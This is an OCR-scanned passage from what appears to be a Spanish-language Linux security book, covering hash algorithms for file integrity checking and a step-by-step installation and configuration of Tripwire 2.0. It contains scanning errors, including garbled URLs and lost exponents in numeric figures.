-print’ > os_database.txt

Este comando generaria una suma de comprobacion de 16 bits para todos los
archivos de la unidad de disco duro y pondria la salida en el archivo os_database.txt.
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A continuacion, podria escribir un script para comparar estos valores con los valores
actuales del sistema, lo que le pondria en alerta sobre la posible existencia de
cambios en el estado y la integridad de los archivos.

Este método es, sin duda alguna, preferible a confiar en la hora, en la fecha o en
la fecha en que se modificé por dltima vez. Sin embargo, las sumas de compro-
bacion de 16 bits no son suficientes. Por consiguiente, el método imperante es el
uso de algo como MD5. MD5 pertenece a una familia de funciones kash unilaterales
llamadas algoritmos de sintesis de mensajes y se definieron en RFC 1321:

"El algoritmo [MD5] toma como entrada un mensaje de longitud arbitraria y
crea como salida una "huella digital" o una "sintesis de mensaje" de 128 bits
de la entrada. Se cree que es computacionalmente imposible crear dos
mensajes que tengan la misma sintesis o crear cualquier mensaje que tenga
una sintesis de mensaje dada con un objetivo previamente especificado."

Los algoritmos de sintesis de mensajes ofrecen una gran garantia y son muy
utiles para probar la integridad de los archivos. La clave consiste en utilizar
herramientas que puedan tomar una "instantanea" del sistema operativo inicial y
generar valores de MD5 (o comparables) para poder realizar comparaciones
posteriores. Para estas funciones, la mejor herramienta es Tripwire.

Tripwire

Tripwire es una flexible y sencilla herramienta que se utiliza para comprobar la
integridad de los archivos y que emplea varios algoritmos:

* CRC32: CRC32 es una version de 32 bits de CRC. El CRC general se utiliza
para comprobar la integridad de los archivos que se van a transmitir
digitalmente, como ya se ha descrito. Para obtener mas informacién acerca
de CRC32 (y otros algoritmos) dirijase a la pagina http:/nic.mil/ftp/rfc/
rfc1510.txt.

* MD2: MD2 se encuentra en la familia MD5 de algoritmos de sintesis de
mensajes. Es muy potente. Por ejemplo, en sus especificaciones se indicaba
que "...la dificultad de hacer frente a dos mensajes que tienen la misma
sintesis de mensajes se encuentra en torno a las 2764 operaciones y que la
dificultad de hacer frente a cualquier mensaje que tenga una sintesis de
mensaje dada se encuentra en torno a las 27128 operaciones...". Puede
obtener mas informacion sobre MD2 en http:/nic.mil/ftp/rfc/rfc1319.txt.

e MD4: para obtener documentaciéon sobre MD4, que se colocé en el dominio
publico, dirfjase a http:/nic.mil/ftp/rfc/rfc1320.txt.

e MD5: MD5 es un algoritmo mas lento, pero mas seguro que MD4 y es, por
tanto, una mejora. Para conocer el diseiio y los objetivos de MD5, visite
http://nic.mil/ftp/rfc/rfc1321.txt.

¢ SHA (el algoritmo NIST de hash seguro): SHA es excepcionalmente eficaz y
se ha utilizado en entornos de defensa. Por ejemplo, el Departamento de
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Defensa requiere que todos los sistemas gestionados por él se adhieran al
Multilevel Information System Security Initiative (MISSI) y usen solamente
productos eliminados por el mismo. SHA se utiliza en un producto que ha
eliminado MISSI, llamado la tarjeta Fortezza, una tarjeta PCMCIA que
proporciona un nivel adicional de seguridad al correo electrénico enviado
desde los portatiles del Departamento (SHA también se incorpora al
protocolo Secure Data Network System Message Security Protocol, un
protocolo de mensajes disefiado para proporcionar seguridad al entorno de
gestion de mensajes X.400). Para obtener mas informacién acerca de SHA,
consulte "Federal Information Processing Standards Publication 180-1", que
puede encontrar en http://www.itl.nist.gov/fipspubs/fip180-1.htm.

¢ Snefru (funcion de hash segura de Xerox): Snefru puede generar sintesis de
mensaje de 128 ¢ 256 bits. Snefru lo desarrollé Xerox y la versién actual es la
2.4. Snefru (y toda su documentacién) se puede obtener en ftp:/ftp.parc.
xerox.com/pub/hash/hash2.5a/.

De forma predeterminada, Tripwire usa tanto MD5 como la funciéon de hash
segura de Xerox para generar huellas digitales de los archivos (sin embargo, puede
aplicar cualquiera de las funciones kash anteriores a cualquiera o a una parte de los
archivos). Cada huella digital es tinica. Como explican los autores, hay muy pocas
o ninguna posibilidad de que dos archivos tengan la misma huella digital:

"Se realiz6 un intento de encontrar una firma Srefru(16] duplicada del
programa /bin/login utilizando para ello 130 estaciones de trabajo Sun.
Durante varias semanas se generaron 17 millones de firmas que se
compararon con diez mil firmas almacenadas (el nimero maximo de firmas
que puede haber en memoria sin que se produzcan fallos en la memoria de
las paginas en cada repeticion de biisqueda). Se buscaron aproximadamente
224 firmas sin encontrar ninguna coincidente, mientras que 1015 no se
buscaron."

Por consiguiente, Tripwire ofrece una alta garantia de integridad del sistema de
archivos como punto de referencia inicial. Estas son algunas de sus caracteristicas
mas atractivas:

* Tripwire puede llevar a cabo su funcién sobre las conexiones de red. Por
tanto, puede generar una base de datos de huellas digitales de toda la red en
el momento de la instalacién.

e Tripwire se escribio en C con la intencion de que fuera transportable. Se
compilara en la mayoria de los entornos sin ninguna modificacion.

» Tripwire incluye un lenguaje de procesamiento de macros, por lo que se
pueden automatizar determinadas tareas.

Tripwire es una herramienta magnifica, pero solamente cuando se usa junto con
otras medidas de seguridad. Por ejemplo, no se saca ningtn partido de Tripwire si
no se protege la base de datos inicial de "instantaneas" y "huellas digitales". Desde
el principio, los creadores de esta herramienta han dejado claro este hecho:
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"La base de datos utilizada por el comprobador de la integridad debe
protegerse de modificaciones no autorizadas; cualquier intruso que pueda
cambiar la base de datos puede trastocar todo el esquema de comprobacion
de la seguridad."

Antes de utilizar Tripwire, lea el manual "The Design and Implementation of
Tripwire: A File System Integrity Checker" de Gene H. Kim y Eugene H. Spafford.
Puede encontrarlo en http://www.ja.net/CERT/Software/tripwire/Tripwire.PS.

Una forma de proteger la base de datos es almacenarla en un medio de sélo
lectura, con lo que se elimina la posibilidad de que la modifiquen.

Disponibilidad de Tripwire

En un principio, Tripwire se diseni6 para UNIX, no para Linux. Actualmente, la
tinica distribucion de Tripwire prefabricada se puede ejecutar en Red Hat 5.x (pero
no en la versién 6.0). Puede obtenerse en http://www.visualcomputing.com/pro-
ducts/2_OLinux.html.

También puede hacer funcionar su propio Tripwire en otros sistemas de Linux. Por
ejemplo, se sabe que Tripwire 1.3 se compila perfectamente en Debian, OpenLinux
y en otras distribuciones.

Instalar Tripwire
Tras descargar el paquete de Tripwire, cree un directorio y cépielo en ¢él. Por
ejemplo:

[root@linux9 /]# mkdir tripwire
[root@linux® /]# cp Tripwire_2_0_RedHat_Linux_tar tripwire/

Seguidamente, vaya al nuevo directorio y descomprima el paquete de Tripwire
(va que esta comprimido con los métodos zip y tar)

[root@linux9 /tripwirel# gunzip Tripwire_2_0_RedHat_Linux_tar.gz
[root@linux9 /tripwirel# tar -xvf Tripwire_2_0_RedHat_Linux_tar

El archivo deberia descomprimirse en los siguientes archivos y directorios:

“P-eP--r-- 1 root root 2732 Feb 26 02:00 README
“F--r--r-- 1 root root 10955 Feb 26 02:00 Release_Notes
r--r--r-- 1 root root 189795 Feb 26 02:00 User_Manual.pdf
dr-xr-xr-x 2 root root 1024 Feb 26 02:00 bin/
rw-r----- 1 root root 1318 Feb 26 02:00 install.cfg
r-xXr-x--- 1 root root 22072 Feb 26 02:00 install.sh*
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-r--r--r-- 1 root root 7238 Feb 26 02:00 license.txt
dr-xr-xr-x 2 root root 1024 Feb 26 02:00 pkg/

install.sh es el sc7ipt de instalacion e install.cfg es el archivo de configuracion de
la instalacion. Antes de llevar a cabo la instalacion, lea el archivo install.cfg, ya que
define los directorios de destino de la instalacién:

# install.cfg

# default install.cfg for:

# Tripwire(tm) 2.0 for Unix

# NOTE: This is a Bourne shell script that stores installation
# parameters for your installation. The installer will

# use this file to generate your config file and also to
# locate any special configuration needs for your install.
# Protect this file, because it is possible for

# malicious code to be inserted here

#

# To set your Root directory for install, set TWROOT= to something
# other than /usr/TSS as necessary.

#

f#f============================ZT=TSSSSSSSSSSTToSST=s===S==S

# If CLOBBER is true, then existing files are overwritten.
# If CLOBBER is false, existing files are not overwritten.
CLOBBER=false

# The root of the TSS directory tree.
TWROOT="/usr/TSS"

# Tripwire binaries are stored in TWBIN.
TWBIN="${TWROOT}/bin"

# Tripwire policy files are stored in TWPOLICY.
TWPOLICY="${TWROOT}/policy"

# Tripwire manual pages are stored in TWMAN.
TWMAN="${TWROOT} /man"

# Tripwire database files are stored in TWDB.
TWDB="${TWROOT}/db"

# The Tripwire site key files are stored in TWSITEKEYDIR.
TWSITEKEYDIR="${TWROOT}/key"

# The Tripwire local key files are stored in TWLOCALKEYDIR.
TWLOCALKEYDIR="${TWROOT}/key"

# Tripwire report files are stored in TWREPORT.
TWREPORT="${TWROOT}/report"
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De forma predeterminada, esta configuracién coloca todo en /usr/TTS. Si no
tenemos en cuenta el caso improbable de que ya tenga dicho arbol de directorios,
es probable que no tenga que cambiar esta configuracién. Sin embargo, si preve
que Tripwire va a tener que sobrescribir archivos existentes, tiene que modificar la
linea 21:

# If CLOBBER is true, then existing files are overwritten.
# If CLOBBER is false, existing files are not overwritten.
CLOBBER=false

En caso contrario, si no tiene que realizar ningtin cambio en install.cfg,
comience el proceso de instalacién, tal como se muestra a continuacion:

[root@linux9 /tripwire]# ./install.sh

Tripwire mostrard un resumen de las opciones elegidas y le pedira que las
confirme:

Installer program for:
Tripwire(tm) 2.0 for Unix

Tripwire(tm) Copyright 1992-99 by the Purdue Research Foundation
w=of Purdue University, and distributed by Tripwire Security
=Systems, Inc. under exclusive license arrangements.

Using configuration file install.cfg
This program will copy Tripwire files to the following directories:

TWROOT: /usr/TSS

TWBIN: /usr/TSS/bin
TWPOLICY: /usr/TSS/policy

TWMAN: /usr/TSS/man
TWREPORT: /usr/TSS/report

TWDB: /usr/TSS/db

TWSITEKEYDIR: /usr/TSS/key

TWLOCALKEYDIR: /usr/TSS/key

CLOBBER is false.

Continue with installation? [y/n]

Si estos valores son los correctos, elija y. A continuacion, Tripwire le solicitara
una frase de paso clave a los archivos. Antes de escribirla, piénsela detenidamente.

Generar frases de paso

La generacidn de frases de paso varia levemente con respecto a la generacién de
contrasenas, ya que las opciones son mayores. Una frase de paso puede ser
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cualquier cosa y, aunque debe tener un minimo de ocho caracteres, no hay limite
méaximo (es mas, las frases de paso pueden tener espacios en blanco).

Sin embargo, de igual forma que al generar una contrasena, hay que tener en
cuenta determinadas convenciones para asegurarse de que no se averigua con
facilidad. De forma errénea, muchos usuarios suponen que dado que al ser mas
largas que las contrasefias estandar, las frases de paso son automaticamente mas
dificiles de averiguar, lo que no es cierto. Si la frase se puede predecir con facilidad,
es tan facil de romper como una contrasefia de ocho caracteres, asi que elija con
cuidado la frase que desea utilizar a modo de contrasefia.

Tripwire solicitara varias frases de paso, comenzando por la frase de paso clave
a los archivos:

The Tripwire site and local passphrases are used to
sign a variety of files, such as the configuration,
policy, and database files.

passphrases should be at least 8 characters in length
and contain both letters and numbers.

See the Tripwire manual for more information.
Creating key files...

(When selecting a passphrase, keep in mind that good passphrases
wtypically have upper and lower case letters, digits and
wpunctuation marks, and are at least 8 characters in length.)

Enter the site keyfile passphrase:

Enter the site keyfile passphrase:
Tras escribirla, Tripwire le pedira que la confirme:
verify the site keyfile passphrase:
Y para finalizar, Tripwire generara una clave:
Generating key (this may take several minutes)...
A continuacién, Trypwire le pedira las frases de paso clave locales y del sitio:

(When selecting a passphrase, keep in mind that good passphrases
wtypically have upper and lower case letters, digits and
wpunctuation marks, and are at least 8 characters in length.)
Enter the site keyfile passphrase:

Verify the site keyfile passphrase:

Generating key (this may take several minutes)...Key generation
wcomplete. (When selecting a passphrase, keep in mind that
wgood passphrases typically have upper and lower case letters,
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wdigits and punctuation marks, and are at least 8 characters
win length.)
Enter the local keyfile passphrase:

Y de nuevo, le pedira que las verifique:

Verify the local keyfile passphrase:

y generara las frases:

Generating key (this may take several minutes)...
Finalmente, Tripwire le solicitara la frase de paso del sitio:

Generating Tripwire configuration file...

Creating signed configuration file...
Please enter your site passphrase:

Cuando haya acabado, Tripwire le notificara que la instalaciéon se ha realizado
correctamente:

The installation succeeded.

Please refer to /usr/TSS/Release_Notes

for release information and to the printed user documentation
for further instructions on using Tripwire 2.0 for Unix.

Prepararse para utilizar Tripwire

Antes de ejecutar realmente Tripwire, hay que personalizar dos archivos:
¢ Elarchivo de configuracion de Tripwire.
¢ Elarchivo de politicas de Tripwire.

El archivo de configuracion de Tripwire

El archivo de configuracién almacena informacion especifica del sistema
(principalmente sobre el lugar en que estan instaladas las utilidades y los archivos
de configuracién de Tripwire). De forma predeterminada (twcfg.txt) se encuentra
en /usr/TSS/bin y es similar al siguiente:

[root@linux9 bin]# more twcfg.txt

ROOT =/usr/TSS

POLFILE =/usr/TSS/policy/tw.pol

DBFILE =/usr/TSS/db/$ (HOSTNAME) . db

REPORTFILE =/usr/TSS/report/$(HOSTNAME) - $ (DATE) . twr

SITEKEYFILE =/usr/TSS/key/site.key

LOCALKEYFILE =/usr/TSS/key/$(HOSTNAME) -local.key
MAILPROGRAM  =/usr/lib/sendmail -oi -t

EDITOR =/bin/vi

LATEPROMPTING =false

LOOSEDIRECTORYCHECKING =false
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La Tabla 6.1 resume las variables del archivo de configuracion y sus funciones.

Tabla 6.1 Variables del archivo de configuracién de Tripwire

Servicio

Explicacion

DBFILE

EDITOR

LATEPROMPTING

LOCALKEYFILE

LOOSEDIRECTORYCHECKING

MAILPROGRAM

POLFILE

REPORTFILE

SITEKEYFILE

La variable DBFILE sefiala a la ubicacion del archivo de
su base de datos (el que almacena la "instantdnea" del
sistema operativo).

La variable EDITOR almacena la ubicacion de su editor
favorito. (Nota: para utilizar Tripwire en el modo de
edicién interactivo hay que definir esta variable.
Ademas, una vez que se especifica este valor, no es
posible cambiarlo manualmente manipulando las
variables de entorno de la shell.)

La variable LATEPROMPTING se utiliza para especificar
si Tripwire debe esperar hasta el ultimo momento antes
de solicitar una frase de paso (ésta es una medida de
seguridad para los extremadamente paranoicos a los
que preocupa que mientras sus frases de paso estén en
memoria otros las puedan capturar).

La variable LOCALKEYFILE apunta a la ubicacion del
archivo clave local.

La variable LOOSEDIRECTORYCHECKING afecta a la
forma en que Tripwire informa de los cambios que se
producen en los directorios. Si LOOSEDIRECTORY-
CHECKING no esta activada (estado predeterminado),
Tripwire no sélo informara de que se ha eliminado o
modificado cualquier archivo, sino también de la
repercusiéon que ha tenido dicho cambio en el
directorio en el que se encuentra (o se encontraba) el
archivo. Sin embargo, si se activa, Tripwire informa
solamente de la modificacion de los archivos (y no de la
modificacion de los directorios).

La variable MAILPROGRAM almacena la ubicacién
del programa de correo especificado (y de todas las
opciones de la linea de comandos que se van a pasar
aél).

La variable POLFILE apunta a la ubicacion del archivo
de politicas (normalmente /usr/TSS/policy/tw.pol).
La variable REPORTFILE apunta al lugar en que Tripwire
va a almacenar sus informes.

La variable SITEKEYFILE apunta a la ubicaciéon de la
clave del sitio.
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Antes de ejecutar Tripwire por primera vez, estos valores pueden modificarse a
voluntad.

El archivo de politicas de Tripwire

El archivo de politicas (de forma predeterminada, twpol.txt) almacena la
especificacion de qué objetos (archivos, directorios, etc.) debe monitorizar Tripwire
y de sus ubicaciones.

Tripwire incluye un archivo de ejemplo llamado /usr/TSS/policy/twpol.txt que
esta optimizado para Red Hat Linux 5.x. Antes de ejecutar Tripwire por primera
vez, es aconsejable que lo busque (puede mirar de arriba abajo y eliminar ruta